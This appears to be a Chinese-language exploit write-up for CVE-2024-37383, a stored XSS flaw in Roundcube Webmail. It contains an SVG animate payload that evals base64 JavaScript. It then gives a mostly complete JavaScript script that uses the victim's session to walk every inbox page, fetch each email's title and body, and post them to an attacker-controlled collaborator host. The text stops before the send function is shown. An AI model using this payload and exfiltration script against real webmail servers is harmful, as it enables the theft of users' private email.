CVE-2024-37383 漏洞存在于 Roundcube Webmail 邮件客户端中。这是一个存储型 XSS 漏洞,允许攻击者在用户的页面上执行 JavaScript 代码。要利用该漏洞,攻击者只需使用低于 1.5.6 或 1.6 至 1.6.6 版本的 Roundcube 客户端打开一封恶意邮件即可。
<svg>
<animate attributeName="href " values="javascript:eval(atob('BASE64_EXPLOIT_CODE'));" href="#link" />
</animate>
<a id="link">
<text x=20 y=20>Click me</text>
</a>
</svg>
此代码可自动执行从 Roundcube Webmail 服务器检索收件箱中的所有邮件,并将这些数据转发到指定协作服务器 端点的过程。
主 Webmail URL(目标)和接收服务器 URL(攻击者服务器)在开头定义为变量,便于配置。
getPageCount 函数向主 Webmail URL 发送 GET 请求以获取元数据,包括总页数(pagecount)。 如果找到 pagecount,则会继续遍历每一页。
对于从 1 到 pagecount 的每个页面,代码会构造一个分页 URL 来请求该页面。 使用正则表达式检查每个页面的响应中是否存在 add_message_row(NUMBER) 的实例,从每个实例中提取邮件 ID,并将所有 ID 收集到一个列表中。
对于每个邮件 ID,代码会构造一个 URL 来请求该邮件的详细数据。 代码会为每个邮件 ID 的 URL 发送 GET 请求,并接收完整的响应 HTML。
在每个邮件的响应中,代码使用正则表达式捕获 (邮件标题)和主要邮件内容。 邮件内容中的所有 HTML 标签都会被去除,只保留纯文本。
对于每封提取到的邮件,代码都会向服务器端点发送一个 POST 请求,其中包含标题和清理后的邮件内容,并进行 URL 编码以确保正确传输。
// Configuration variables
var target = 'https://webmail.redacted.tld';
var attackerserver = 'https://oastify.com';
function getPageCount(url) {
var req = new XMLHttpRequest();
// Configure the request with credentials
req.open('GET', url, true);
req.withCredentials = true;
// Define the response handler
req.onload = function() {
if (req.status === 200) {
try {
// Parse the response as JSON
let jsonResponse = JSON.parse(req.responseText);
// Access the pagecount field
let pageCount = jsonResponse.env.pagecount;
if (pageCount !== undefined) {
// Array to store all message IDs
let allMessageIds = [];
let completedRequests = 0; // Track the number of completed requests
// Loop to request each page
for (let page = 1; page <= pageCount; page++) {
(function(currentPage) {
var pageReq = new XMLHttpRequest();
// Construct the URL with the current page number
var paginatedUrl = `${url}&_page=${currentPage}`;
// Configure the request
pageReq.open('GET', paginatedUrl, true);
pageReq.withCredentials = true;
// Define the response handler for each page
pageReq.onload = function() {
if (pageReq.status === 200) {
try {
// Get the response text
let responseText = pageReq.responseText;
// Use a regex to find all instances of this.add_message_row(NUMBER)
let messageRowRegex = /this\.add_message_row\((\d+)/g;
let matches;
// Find all matches and extract the numbers
while ((matches = messageRowRegex.exec(responseText)) !== null) {
allMessageIds.push(matches[1]);
}
} catch (error) {
// Error handling for page processing
}
}
completedRequests++; // Increment completed request count
// Check if all requests are completed
if (completedRequests === pageCount) {
// Loop through all message IDs and create URLs using each one
allMessageIds.forEach(id => {
// Construct a new URL with the current message ID
const newUrl = `${target}/?_task=mail&_caps=pdf%3D1%2Cflash%3D0%2Ctiff%3D0%2Cwebp%3D1%2Cpgpmime%3D0&_uid=${id}&_mbox=INBOX&_framed=1&_action=preview`;
// Make a request for each constructed URL
(function(currentUrl) {
var messageReq = new XMLHttpRequest();
messageReq.open('GET', currentUrl, true);
messageReq.withCredentials = true;
// Define the response handler for the message request
messageReq.onload = function() {
if (messageReq.status === 200) {
// Get the response text
let messageResponseText = messageReq.responseText;
// Extract <title> content using regex
let titleMatch = messageResponseText.match(/<title>(.*?)<\/title>/);
let title = titleMatch ? titleMatch[1] : "No Title";
// Use regex to extract the main message content
var regex = /<!-- html ignored --><!-- head ignored --><!-- meta ignored -->([\s\S]*?)<\/div>/g;
let messageMatches;
while ((messageMatches = regex.exec(messageResponseText)) !== null) {
// Clean HTML tags from the message content
let cleanMessage = messageMatches[1].replace(/<\/?[^>]+(>|$)/g, ""); // Remove HTML tags
// Send the cleaned message and title to the user via POST request
sendMessageToUser(cleanMessage.trim(), title);
}
}
};
// Handle network errors for message request
messageReq.onerror = function() {
// Error handling for message request
};
// Send the request for the current message URL
messageReq.send();
})(newUrl);
});
}
};
// Handle network errors for page request
pageReq.onerror = function() {
completedRequests++; // Increment completed request count even on error
};